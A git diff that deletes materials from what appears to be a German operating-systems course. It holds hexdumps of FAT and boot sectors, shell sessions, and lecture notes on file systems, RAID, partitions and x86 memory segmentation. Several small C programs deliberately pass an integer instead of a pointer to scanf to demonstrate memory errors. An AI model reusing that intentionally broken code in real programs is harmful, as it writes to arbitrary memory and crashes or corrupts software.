28 00 46 00 75 00 00 00 6c 00 6c 00 |@. .(.F.u...l.l.| -007ce0e0 e5 5f 5f 5f 5f 5f 7e 31 56 54 54 20 00 00 03 ab |._____~1VTT ....| -007ce0f0 8a 54 8a 54 05 00 03 ab 8a 54 f5 d8 8b 4e 01 00 |.T.T.....T...N..| -007ce100 e5 74 00 74 00 00 00 ff ff ff ff 0f 00 8f ff ff |.t.t............| -007ce110 ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff |................| -007ce120 e5 44 00 59 00 70 00 43 00 6d 00 0f 00 8f 4d 00 |.D.Y.p.C.m....M.| -007ce130 63 00 4d 00 2e 00 66 00 72 00 00 00 2e 00 76 00 |c.M...f.r.....v.| -007ce140 e5 20 00 31 00 39 00 37 00 39 00 0f 00 8f 20 00 |. .1.9.7.9.... .| -007ce150 33 04 2e 00 29 00 2d 00 54 00 00 00 47 00 52 00 |3...).-.T...G.R.| -007ce160 e5 39 04 20 00 22 04 30 04 40 04 0f 00 8f 3a 04 |.9. .".0.@....:.| -007ce170 3e 04 32 04 41 04 3a 04 38 04 00 00 39 04 2c 00 |>.2.A.:.8...9.,.| -007ce180 e5 30 04 2c 00 20 00 40 04 35 04 0f 00 8f 36 04 |.0.,. .@.5....6.| -007ce190 2e 00 20 00 10 04 3d 04 34 04 00 00 40 04 35 04 |.. ...=.4...@.5.| -007ce1a0 e5 48 00 44 00 2c 00 20 00 44 04 0f 00 8f 30 04 |.H.D.,. .D....0.| -007ce1b0 3d 04 42 04 30 04 41 04 42 04 00 00 38 04 3a 04 |=.B.0.A.B...8.:.| -007ce1c0 e5 21 04 42 04 30 04 3b 04 3a 04 0f 00 8f 35 04 |.!.B.0.;.:....5.| -007ce1d0 40 04 20 00 28 00 46 00 75 00 00 00 6c 00 6c 00 |@. .(.F.u...l.l.| -007ce1e0 e5 5f 5f 5f 5f 5f 7e 32 56 54 54 20 00 64 03 ab |._____~2VTT .d..| -007ce1f0 8a 54 8a 54 05 00 03 ab 8a 54 0a d9 17 30 01 00 |.T.T.....T...0..| -007ce200 e5 74 00 74 00 00 00 ff ff ff ff 0f 00 6f ff ff |.t.t.........o..| -007ce210 ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff |................| -007ce220 e5 44 00 59 00 70 00 43 00 6d 00 0f 00 6f 4d 00 |.D.Y.p.C.m...oM.| -007ce230 63 00 4d 00 2e 00 65 00 6e 00 00 00 2e 00 76 00 |c.M...e.n.....v.| -007ce240 e5 20 00 31 00 39 00 37 00 39 00 0f 00 6f 20 00 |. .1.9.7.9...o .| -007ce250 33 04 2e 00 29 00 2d 00 54 00 00 00 47 00 52 00 |3...).-.T...G.R.| -007ce260 e5 39 04 20 00 22 04 30 04 40 04 0f 00 6f 3a 04 |.9. .".0.@...o:.| -007ce270 3e 04 32 04 41 04 3a 04 38 04 00 00 39 04 2c 00 |>.2.A.:.8...9.,.| -007ce280 e5 30 04 2c 00 20 00 40 04 35 04 0f 00 6f 36 04 |.0.,. .@.5...o6.| -007ce290 2e 00 20 00 10 04 3d 04 34 04 00 00 40 04 35 04 |.. ...=.4...@.5.| diff --git a/20220502/filesystems-8.txt b/20220502/filesystems-8.txt deleted file mode 100644 index 8236fae216980881ced53e68ab807f5b59c001e5..0000000000000000000000000000000000000000 --- a/20220502/filesystems-8.txt +++ /dev/null @@ -1,43 +0,0 @@ -007cf450 23 23 23 23 0a 0a 23 20 4a 75 73 74 20 66 6f 72 |####..# Just for| -007cf460 20 72 65 66 65 72 65 6e 63 65 20 61 6e 64 20 73 | reference and s| -007cf470 63 72 69 70 74 73 2e 20 0a 23 20 4f 6e 20 44 65 |cripts. .# On De| -007cf480 62 69 61 6e 20 73 79 73 74 65 6d 73 2c 20 74 68 |bian systems, th| -007cf490 65 20 6d 61 69 6e 20 62 69 6e 61 72 79 20 69 73 |e main binary is| -007cf4a0 20 69 6e 73 74 61 6c 6c 65 64 20 61 73 20 65 78 | installed as ex| -007cf4b0 69 6d 34 20 74 6f 20 61 76 6f 69 64 0a 23 20 63 |im4 to avoid.# c| -007cf4c0 6f 6e 66 6c 69 63 74 73 20 77 69 74 68 20 74 68 |onflicts with th| -007cf4d0 65 20 65 78 69 6d 20 33 20 70 61 63 6b 61 67 65 |e exim 3 package| -007cf4e0 73 2e 0a 65 78 69 6d 5f 70 61 74 68 20 3d 20 2f |s..exim_path = /| -007cf4f0 75 73 72 2f 73 62 69 6e 2f 65 78 69 6d 34 0a 0a |usr/sbin/exim4..| -007cf500 23 20 4d 61 63 72 6f 20 64 65 66 69 6e 69 6e 67 |# Macro defining| -007cf510 20 74 68 65 20 6d 61 69 6e 20 63 6f 6e 66 69 67 | the main config| -007cf520 75 72 61 74 69 6f 6e 20 64 69 72 65 63 74 6f 72 |uration director| -007cf530 79 2e 0a 23 20 57 65 20 64 6f 20 6e 6f 74 20 75 |y..# We do not u| -007cf540 73 65 20 61 62 73 6f 6c 75 74 65 20 70 61 74 68 |se absolute path| -007cf550 73 2e 0a 2e 69 66 6e 64 65 66 20 43 4f 4e 46 44 |s...ifndef CONFD| -007cf560 49 52 0a 43 4f 4e 46 44 49 52 20 3d 20 2f 65 74 |IR.CONFDIR = /et| -007cf570 63 2f 65 78 69 6d 34 0a 2e 65 6e 64 69 66 0a 0a |c/exim4..endif..| -007cf580 23 20 64 65 62 63 6f 6e 66 2d 64 72 69 76 65 6e |# debconf-driven| -007cf590 20 6d 61 63 72 6f 20 64 65 66 69 6e 69 74 69 6f | macro definitio| -007cf5a0 6e 73 20 67 65 74 20 69 6e 73 65 72 74 65 64 20 |ns get inserted | -007cf5b0 61 66 74 65 72 20 74 68 69 73 20 6c 69 6e 65 0a |after this line.| -007cf5c0 55 50 45 58 34 43 6d 61 63 72 6f 73 55 50 45 58 |UPEX4CmacrosUPEX| -007cf5d0 34 43 20 3d 20 31 0a 0a 23 20 43 72 65 61 74 65 |4C = 1..# Create| -007cf5e0 20 64 6f 6d 61 69 6e 20 61 6e 64 20 68 6f 73 74 | domain and host| -007cf5f0 20 6c 69 73 74 73 20 66 6f 72 20 72 65 6c 61 79 | lists for relay| -007cf600 20 63 6f 6e 74 72 6f 6c 0a 23 20 27 40 27 20 72 | control.# '@' r| -007cf610 65 66 65 72 73 20 74 6f 20 27 74 68 65 20 6e 61 |efers to 'the na| -007cf620 6d 65 20 6f 66 20 74 68 65 20 6c 6f 63 61 6c 20 |me of the local | -007cf630 68 6f 73 74 27 0a 0a 23 20 4c 69 73 74 20 6f 66 |host'..# List of| -007cf640 20 64 6f 6d 61 69 6e 73 20 63 6f 6e 73 69 64 65 | domains conside| -007cf650 72 65 64 20 6c 6f 63 61 6c 20 66 6f 72 20 65 78 |red local for ex| -007cf660 69 6d 2e 20 44 6f 6d 61 69 6e 73 20 6e 6f 74 20 |im. Domains not | -007cf670 6c 69 73 74 65 64 20 68 65 72 65 0a 23 20 6e 65 |listed here.# ne| -007cf680 65 64 20 74 6f 20 62 65 20 64 65 6c 69 76 65 72 |ed to be deliver| -007cf690 61 62 6c 65 20 72 65 6d 6f 74 65 6c 79 2e 0a 64 |able remotely..d| -007cf6a0 6f 6d 61 69 6e 6c 69 73 74 20 6c 6f 63 61 6c 5f |omainlist local_| -007cf6b0 64 6f 6d 61 69 6e 73 20 3d 20 4d 41 49 4e 5f 4c |domains = MAIN_L| -007cf6c0 4f 43 41 4c 5f 44 4f 4d 41 49 4e 53 0a 0a 23 20 |OCAL_DOMAINS..# | -007cf6d0 4c 69 73 74 20 6f 66 20 72 65 63 69 70 69 65 6e |List of recipien| -007cf6e0 74 20 64 6f 6d 61 69 6e 73 20 74 6f 20 72 65 6c |t domains to rel| -007cf6f0 61 79 20 5f 74 6f 5f 2e 20 55 73 65 20 74 68 69 |ay _to_. Use thi| diff --git a/20220502/filesystems-9.txt b/20220502/filesystems-9.txt deleted file mode 100644 index 10e56544ea558f7dd1d9515fb022e2d1ba7ca4dd..0000000000000000000000000000000000000000 --- a/20220502/filesystems-9.txt +++ /dev/null @@ -1,21 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1/ -cassini/home/peter/bo/2022ss/bs/20220502> ls -la /media/usb1 -insgesamt 8 -drwxr-xr-x 2 peter peter 4096 Jan 1 1970 . -drwxr-xr-x 17 root root 4096 Dez 4 2020 .. -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sd* -brw-rw---- 1 root disk 8, 0 Mär 15 18:48 /dev/sda -brw-rw---- 1 root disk 8, 1 Mär 15 18:48 /dev/sda1 -brw-rw---- 1 root disk 8, 2 Mär 15 18:48 /dev/sda2 -brw-rw---- 1 root disk 8, 3 Mär 15 18:48 /dev/sda3 -brw-rw---- 1 root disk 8, 16 Mai 2 12:50 /dev/sdb -brw-rw---- 1 root disk 8, 17 Mai 2 12:50 /dev/sdb1 -cassini/home/peter/bo/2022ss/bs/20220502> mkdosfs /dev/sdb1 -bash: mkdosfs: Kommando nicht gefunden. -cassini/home/peter/bo/2022ss/bs/20220502> sudo mkdosfs /dev/sdb1 -mkfs.fat 4.1 (2017-01-24) -mkdosfs: /dev/sdb1 contains a mounted filesystem. -cassini/home/peter/bo/2022ss/bs/20220502> umount /media/usb1 -cassini/home/peter/bo/2022ss/bs/20220502> sudo mkdosfs /dev/sdb1 -mkfs.fat 4.1 (2017-01-24) -cassini/home/peter/bo/2022ss/bs/20220502> diff --git a/20220502/read-1.c b/20220502/read-1.c deleted file mode 100644 index 1c15969cb3fa6042f8f5803b6b3150a6065d16f7..0000000000000000000000000000000000000000 --- a/20220502/read-1.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int a = 0; - printf ("Bitte eine Zahl eingeben: "); - scanf ("%d", &a); - printf ("Ihre Zahl lautete: %d\n", a); - return 0; -} diff --git a/20220502/read-2.c b/20220502/read-2.c deleted file mode 100644 index 0ed4feb78588ec5969d5219a846d98eb2fec7317..0000000000000000000000000000000000000000 --- a/20220502/read-2.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int a = 0; - printf ("Bitte eine Zahl eingeben: "); - scanf ("%d", a); - printf ("Ihre Zahl lautete: %d\n", a); - return 0; -} diff --git a/20220502/read-3.c b/20220502/read-3.c deleted file mode 100644 index 8d2ee491e0826521b15ecfd4c8ca28b5d86cf2cd..0000000000000000000000000000000000000000 --- a/20220502/read-3.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int a = &a; - printf ("Bitte eine Zahl eingeben: "); - scanf ("%d", a); - printf ("Ihre Zahl lautete: %d\n", a); - return 0; -} diff --git a/20220502/read-4.c b/20220502/read-4.c deleted file mode 100644 index ae544d7f70cd9deac4bbd0455ff54c1399650733..0000000000000000000000000000000000000000 --- a/20220502/read-4.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int a = &a; - printf ("a = %d, &a = %d\n", a, &a); - printf ("Bitte eine Zahl eingeben: "); - scanf ("%d", a); - printf ("Ihre Zahl lautete: %d\n", a); - return 0; -} diff --git a/20220502/read-5.c b/20220502/read-5.c deleted file mode 100644 index 86e674ecd559b268f7db81ed7d179ca469cd4adc..0000000000000000000000000000000000000000 --- a/20220502/read-5.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int a = &a; - printf ("a = %ld, &a = %ld\n", a, &a); - printf ("Bitte eine Zahl eingeben: "); - scanf ("%d", a); - printf ("Ihre Zahl lautete: %d\n", a); - return 0; -} diff --git a/20220502/read-6.c b/20220502/read-6.c deleted file mode 100644 index 75f096eebbdb6a133cc6a423421313568222a807..0000000000000000000000000000000000000000 --- a/20220502/read-6.c +++ /dev/null @@ -1,11 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int a = &a; - printf ("a = %ld, &a = %ld, &a == a = %d\n", a, &a, &a == a); - printf ("Bitte eine Zahl eingeben: "); - scanf ("%d", a); - printf ("Ihre Zahl lautete: %d\n", a); - return 0; -} diff --git a/20220502/read-7.c b/20220502/read-7.c deleted file mode 100644 index e564a6b1a9673c2e8ba61c8c27c6ca06650aeda5..0000000000000000000000000000000000000000 --- a/20220502/read-7.c +++ /dev/null @@ -1,12 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -int main (void) -{ - uint64_t a = &a; - printf ("a = %lld, &a = %lld, &a == a = %d\n", a, &a, &a == a); - printf ("Bitte eine Zahl eingeben: "); - scanf ("%d", a); - printf ("Ihre Zahl lautete: %d\n", a); - return 0; -} diff --git a/20220509/bootsector-usb-stick-1.txt b/20220509/bootsector-usb-stick-1.txt deleted file mode 100644 index 62a49c99032102f9920088d7e8d8cf0405ae4418..0000000000000000000000000000000000000000 --- a/20220509/bootsector-usb-stick-1.txt +++ /dev/null @@ -1,18 +0,0 @@ -00000000 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000010 02 00 00 00 00 f8 00 00 3e 00 81 00 00 00 00 00 |........>.......| -00000020 00 d0 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000030 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000040 80 01 29 27 b7 d9 08 4e 4f 20 4e 41 4d 45 20 20 |..)'...NO NAME | -00000050 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000060 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000070 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000080 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000090 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -000000a0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -000000b0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -000000c0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -000000d0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000200 diff --git a/20220509/bootsector-usb-stick-2.txt b/20220509/bootsector-usb-stick-2.txt deleted file mode 100644 index e2bfcc85c29856cb180b241cd82702f42b81a4dd..0000000000000000000000000000000000000000 --- a/20220509/bootsector-usb-stick-2.txt +++ /dev/null @@ -1,8 +0,0 @@ -00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000001b0 00 00 00 00 00 00 00 00 f5 28 8a 60 00 00 00 21 |.........(.`...!| -000001c0 03 00 0c 5c f4 fe 00 08 00 00 00 c8 7c 00 00 00 |...\........|...| -000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000200 diff --git a/20220509/bs-20220509.txt b/20220509/bs-20220509.txt deleted file mode 100644 index 34b32bb10ef6bc5a94656044c0c460961df3b8a8..0000000000000000000000000000000000000000 --- a/20220509/bs-20220509.txt +++ /dev/null @@ -1,295 +0,0 @@ -Dateisysteme, 09.05.2022, 11:02:11 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Datenträger aus Sicht des Computers: -viele Speicherzellen -einzeln adressierbar in "Sektoren" von einheitlicher Größe, -z.B. 64 Bytes, 512 Bytes, 4 kiB - - 1 kB = 1 Kilobyte = 1000 Bytes - 1 kiB = 1 Kibibyte = 1024 Bytes --> umgangssprachlich: "Kilobyte" - 1024 / 1000 = 1.024 = 2.4% - - 1 MB = 1 Megabyte = 1000 kB - 1 MiB = 1 Mebibyte = 1024 kiB --> umgangssprachlich: "Megabyte" - 1024 · 1024 / (1000 · 1000) = 1.048576, entsprechend 4.8% Fehler - - 1 GB = 1 Gigabyte = 1000 MB - 1 GiB = 1 Gibibyte = 1024 MiB --> umgangssprachlich: "Gigabyte" - 1024 · 1024 · 1024 / (1000 · 1000 · 1000) = 1.073741824, entsprechend 7% Fehler - - 1 TB = 1 Terabyte = 1000 GB - 1 TiB = 1 Tebibyte = 1024 GiB --> umgangssprachlich: "Terabyte" - 1024 · 1024 · 1024 · 1024 / (1000 · 1000 · 1000 · 1000) = 1.099511627776, entsprechend 9.95% Fehler - - Herkunft: - Hersteller von Datenträgern: 1 kB = 1000 Bytes - alle anderen: 1 kB = 1024 Bytes - - Kuriosität: 3½-Zoll-Disketten - Kapazität: 1440 kiB --> umgangssprachlich: "1.44 Megabyte" - (tatsächlich: 1440 / 1024 = 1.40625 Mebibytes - oder 1440 · 1024 = 1.47456 Megabytes) - - Literatur: https://xkcd.com/394/ - -Wenn ich darauf Daten speichern, muß ich mir merken, wo diese sind. ---> benannte Dateien, Verzeichnisse, Unterverzeichnisse ---> zusätzlich zu den eigentlichen Daten: Administrationsdaten speichern ---> "Dateisystem" - -Beispiel: FAT - - Einteilung der Festplatte in "Cluster" (gröber als "Sektoren") - FAT = Tabelle von Clustern = kleinste ansprechbare Einheit - - Beispiel: Festplatte mit 500 MB mit FAT-16-Dateisystem - --> Cluster-Tabelle enthält 16-Bit-Zahlen - --> maximal 65536 Cluster - --> minimale Cluster-Größe: 500000000 / 65536 = 7629.39453125, etwa 8 kiB - --> ineffizient - - Die FAT enthält verkettete Listen von Clustern, in denen sich jeweils - die Daten einer Datei befinden - - Verzeichnis: Tabelle mit - Dateinamen: zunächst nur 8 + 3 Zeichen - Dateiattribute, z.B. Schreibschutz - Datum und Uhrzeit - Start-Cluster - Dateigröße - --> zusammen: 32 Bytes - - Längere Dateinamen: VFAT - man verwendet zusätzlich Verzeichniseinträge mit ungültigen Attributen, - um eine längere Version des Dateinamens zu speichern - - Nachteile von FAT: - - neigt zur Fragmentierung, gelegentliches Defragmentieren erforderlich - (Achtung: Auf SSDs ist Defragmentieren kontraproduktiv! - Es ist daher wichtig, daß das Betriebssystem weiß, ob es sich - um eine SSD oder um eine Magnetplatte mit Schreib-Lese-Kopf handelt.) - - speichert Zeitangaben nur mit einer Genauigkeit von 2s - Dies macht Probleme mit Programmen, die auf die Uhrzeit einer Datei - achten, z.B. make - Ursache: - - Wie speichert man Datum und Uhrzeit? - Unter Unix: 32-Bit-Zahl, Sekunden seit dem 1.1.1970 - --> reicht bis zum 19.1.2038, 3:14:08 Uhr - - Unter FAT: 32-Bit-Zahl, unterteilt in - 7 Bits für das Jahr ab 1980 --> reicht bis 2107 - 4 Bits für den Monat - 5 Bits für den Tag - 5 Bits für die Stunde - 6 Bits für die Minute - 5 Bits für die Sekunde --> 1 Bit zu wenig - -Beispiel: ext2 - Unix-Dateisystem - - Einteilung der Festplatte in "Blöcke" (gröber als "Sektoren", - aber i.d.R. weniger grob als "Cluster") - - Superblock: Informationen über das Dateisystem - Der Datenträger enthält zusätzlich mehrere Kopien des Superblocks. - - Inodes: Jeder Inode repräsentiert eine Datei. - NICHT im Inode: Dateiname - Dateiattribute, z.B. Schreibschutz, Besitzer - Datum und Uhrzeit - Dateigröße - Ort der eigentlichen Daten ("ersetzt" die verkettete Liste in der FAT) - https://en.wikipedia.org/wiki/Ext2#/media/File:Ext2-inode.svg - feste Anzahl von Zeigern auf die Blöcke mit den Daten - Die letzten 3 sind indirekte Zeiger: - drittletzter: Zeiger auf 1 Block mit weiteren Zeigern auf die Blöcke mit den Daten - vorletzter: Zeiger auf 1 Block mit weiteren Zeigern auf - weitere Blöcke mit Zeigern auf die Blöcke mit den Daten - letzter: Zeiger auf 1 Block mit weiteren Zeigern auf - weitere Blöcke mit Zeigern auf - weitere Blocke mit Zeigern die die Blöcke mit den Daten - --> Maximale Größe einer Datei: 1024 · 1024 Blöcke - - Die Inodes liegen nicht in den Blöcken, - sondern es wird beim Formatieren eine feste Anzahl von Inodes erzeugt. - --> Wenn keine Inodes mehr verfügbar sind, ist der Datenträger voll, - obwohl tatsächlich noch Platz vorhanden wäre. - Dies ist normalerweise kein Problem, außer bei sehr vielen kleinen Dateien. - - Verzeichnis = normale Datei (mit "d"-Attribut) - enthält: - Inode-Nummer - Länge des Dateinamens - Dateiname - (Aus Effizienzgründen werden manchmal Teile des Inhalts des Inodes - in das Verzeichnis kopiert.) - - Hard Link: mehrere Dateinamen, die auf denselben Inode verweisen - Anzeigen der Inode-Nr. mit "ls -i" - --> Dies ist die einzige Möglichkeit, herauszufinden, - welche Hard Links zusammengehören. - --> Backups von Datenträgern, die die Hard-Link-Struktur erhalten, - sind aufwendig. - -RAID, 09.05.2022, 12:55:57 -~~~~~~~~~~~~~~~~~~~~~~~~~~ -Mehrere Datenträger zu einem kombinieren -Ziel: mehr Sicherheit und/oder Effizienz -https://de.wikipedia.org/wiki/RAID - -RAID-0: mehr Effizienz - 2 Festplatten (oder mehr) hintereinander - zu einer großen zusammengeschaltet --> mehr Speicherplatz - Schreiben erfolgt immer auf beiden Platten parallel --> doppelt so schnell - Keine Ausfallsicherheit! - Im Gegenteil: Fällt eine Platte aus, ist sofort alles weg. - -RAID-1: mehr Sicherheit - 2 Festplatten (oder mehr) parallel - Daten werden immer auf beiden Platten gespeichert. - Fällt eine aus, ist die andere Platte noch da. - --> nur halb so viel Speicherplatz - -RAID-01: beides - RAID-01 = RAID-1 aus zwei RAID-0 - (auch über 3 Platten möglich) - -RAID-10: beides - RAID-10 = RAID-0 aus zwei RAID-1 - (mindestens 4 Platten) - -RAID-3 (Vorläufer von RAID-5): beides - n Platten - n-1 davon bilden ein RAID-0: Effizienz ohne Ausfallsicherheit - Die verbleibende Platte speichert die Parität über die anderen n-1: - - Inhalt von Disk 3: D3 = D0 xor D1 xor D2 - - Fällt eine Platte aus, z.B. D2, - dann läßt sich diese wie folgt rekonstruieren: - - D2 = D0 xor D1 xor D3 - - Nachteil von RAID-3: Die Paritätsplatte hat eine Sonderrolle. - --> Diese Platte wird stärker beansprucht und fällt schneller aus, - und sie ist an jeder Schreiboperation beteiligt, was Effizienz kostet. - -RAID-5: wie RAID-3, aber ohne den o.a. Nachteil - Für jeden Datenblock wird die Paritätsinformation - auf einer anderen Platte gespeichert - --> gleichmäßige Beanspruchung der Platten - -Partitionen, 09.05.2022, 12:48:53 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Grobunterteilung eines Datenträgers in physikalisch getrennte Bereiche -Anwendungen: - - getrenne Bereiche für System und Daten - - mehrere Betriebssysteme (Dual Boot) -Verwandte Konzepte: - - LVM: Zusammenlegen mehrerer Datenträger zu einem großen; - freie Unterteilung des Gesamtbereichs - - Datenträger verschlüsseln, Zugriff über neue Block-Device - - Datenträger zu RAID-System zusammenlegen - -Früher: BIOS - - Die Partitionstabelle befindet sich im Boot-Sektor (erste 512 Bytes - eines Datenträgers) ab Adresse 0x1be. - - Dort ist Platz für bis zu 4 Partitionen. - - Falls man mehr braucht, kann man eine davon zur "extended Partition" erklären - und darin dann weitere Partitionen ("logische Laufwerke") anlegen. - (Früher: bis zu 4; inzwischen: unbegrenzt) - - Notebook "cassini": keine klassische Partitionstabelle, sondern GPT - - USB-Stick: gar keine Partitionstabelle, sondern durchgehend formatiert (mit FAT) - - Man kann auch auf dem USB-Stick Partitionen anlegen und diese dann - formatieren und benutzen. Üblich ist beides. - - Manche Betriebssysteme haben Probleme, auf eine der beiden Varianten zuzugreifen. - In diesem Fall: die andere Variante ausprobieren - -Heute: GPT - - Anzahl der Partitionen: beliebig (32-Bit-Zahl) - - Partitionen erhalten GUIDs (Globally Unique Identifiers) - - Partitionstabelle befindet sich zweimal auf dem Datenträger - -Verwaltung von Arbeitsspeicher (RAM), 09.05.2022, 13:48:19 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -8086: 16-Bit-Intel-Prozessor (Mitte der 1980er Jahre): - - Speicheradresse: xxxx:xxxx, z.B. 31d6:0100 oder b800:0300 - ~~~~ ~~~~ - Segment Offset <-- jeweils 16 Bit - - Adressierbarer Speicher: 1 MiB = 1024 kiB = 2^20 Bytes - Register: nur 16 Bit, nicht 20 - - Speicheradresse = 16 · Segment + Offset - - z.B.: 31d6:0100 = 16 · 31d6 + 0100 = 31d60 + 0100 = 31e60 - - Praktischer Sinn: Relokation - - 16-Bit-Programme können über 64 kiB (= 65536 Bytes) frei verfügen - - Ansprechen dieser 64 kiB nur über Offset-Adresse - - Das Betriebssystem teilt die Segment-Adresse zu - --> Das Anwendungsprogramm kann ohne Änderung - an jeder beliebigen Stelle im Speicher laufen ("Relokation"). - --> Der Prozessor sieht für das Programm bis zu 4 Segmente vor: - Code, Daten, Stack, "Extra" --> zusammen 256 kiB - - Sobald dies nicht mehr genügte, nahmen die Programme eigenständig - weitere Segmente hinzu. --> volle 1024 kiB ansprechbar - --> Unterlaufen der Zuweisung durch das Betriebssystem - --> instabil - - Hätten sich die Programme an die Zuweisung durch das Betriebssystem gehalten, - wären sie voreinander abgeschottet gewesen. - -80286: 16-Bit-Intel-Prozessor mit "Protected Mode" (Ende der 1980er Jahre): - - Speicheradresse: xxxx:xxxx - ~~~~ ~~~~ - Selektor Offset <-- jeweils 16 Bit - - Der Selektor ist ein Index für ein Array, - das sich im Prozessor befindet. - Darin enthalten: - - tatsächliche Speicheradresse des Segments (auch über 1 MiB hinaus) - - Größe des Segments - - Zugriffsrechte, z.B.: nur lesbar, ausführbar - --> Die Hardware kann die Programme voreinander abschotten (daher "protected"). - Das Betriebssystem nutzt dies nicht, um sich gegen Programme abzuschotten. - - Nachteil: Offset nur 16 Bit --> Beschränkung auf 256 kiB - Umgehung: Das Programm selbst verwaltet die Selektoren. - --> "protected" hinfällig - - (Es gab verschiedene Standards, um auf mehr als 1024 kiB zuzugreifen: - HMA, XMS, EMS, DPMI) - - Zum Gruseln: HMA - - setze das Segment auf 0xffff - - sorge per Selektor dafür, daß damit die ersten 64 kiB - oberhalb von 1024 kiB angesprochen werden können - --> zusätzliche 64 kiB an Speicher nutzbar - -80386: 32-Bit-Intel-Prozessor mit "Protected Mode" (1990er Jahre): - - Speicheradresse: xxxx:xxxxxxxx - ~~~~ ~~~~~~~~ - Selektor Offset <-- 16 bzw. 32 Bit - - Der Selektor ist ein Index für ein Array, - das sich im Prozessor befindet (wie beim 80286). - - Das Offset ist 32 Bit breit und kann daher bis zu 4 GiB ansprechen. :-) - - --> Das Betriebssystem weist dem Programm ein Segment bis zu 4 GiB zu - und schottet es gegenüber sich selbst und anderen Programmen ab. - (Bei OS/2 und Unix: von Anfang an; bei MS Windows: ab NT 4.0 bzw. XP) diff --git a/20220509/fat-1.txt b/20220509/fat-1.txt deleted file mode 100644 index 24927581e25946932ba0521100aaa93c15075290..0000000000000000000000000000000000000000 --- a/20220509/fat-1.txt +++ /dev/null @@ -1,76 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220509> for x in $(seq 10); do echo "Test $x" > test-$x.txt; sleep 1s; done -cassini/home/peter/bo/2022ss/bs/20220509> t -insgesamt 44 --rw-r--r-- 1 peter peter 2404 Mai 9 11:41 bs-20220509.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-1.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-2.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-3.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-4.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-5.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-6.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-7.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-8.txt --rw-r--r-- 1 peter peter 7 Mai 9 11:43 test-9.txt --rw-r--r-- 1 peter peter 8 Mai 9 11:43 test-10.txt -cassini/home/peter/bo/2022ss/bs/20220509> t --full-time -insgesamt 44 --rw-r--r-- 1 peter peter 2404 2022-05-09 11:41:32.234960815 +0200 bs-20220509.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:24.483456255 +0200 test-1.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:25.487461113 +0200 test-2.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:26.491465980 +0200 test-3.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:27.495470853 +0200 test-4.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:28.499475734 +0200 test-5.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:29.499480603 +0200 test-6.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:30.503485497 +0200 test-7.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:31.507490398 +0200 test-8.txt --rw-r--r-- 1 peter peter 7 2022-05-09 11:43:32.507495287 +0200 test-9.txt --rw-r--r-- 1 peter peter 8 2022-05-09 11:43:33.511500202 +0200 test-10.txt -cassini/home/peter/bo/2022ss/bs/20220509> cp -pi test*.txt /media/usb0/ -cassini/home/peter/bo/2022ss/bs/20220509> ls -l /media/usb0/ -insgesamt 172 --rwxr-xr-x 1 peter peter 17312 Okt 5 2013 Operating_system_placement-de.svg --rwxr-xr-x 1 peter peter 54045 Mai 4 2015 os-layers-4.jpg --rwxr-xr-x 1 peter peter 54499 Mai 4 2015 os-layers-5.jpg --rwxr-xr-x 1 peter peter 8 Mai 9 11:43 test-10.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 test-1.txt --rwxr-xr-x 1 peter peter 7 Mai 9 11:43 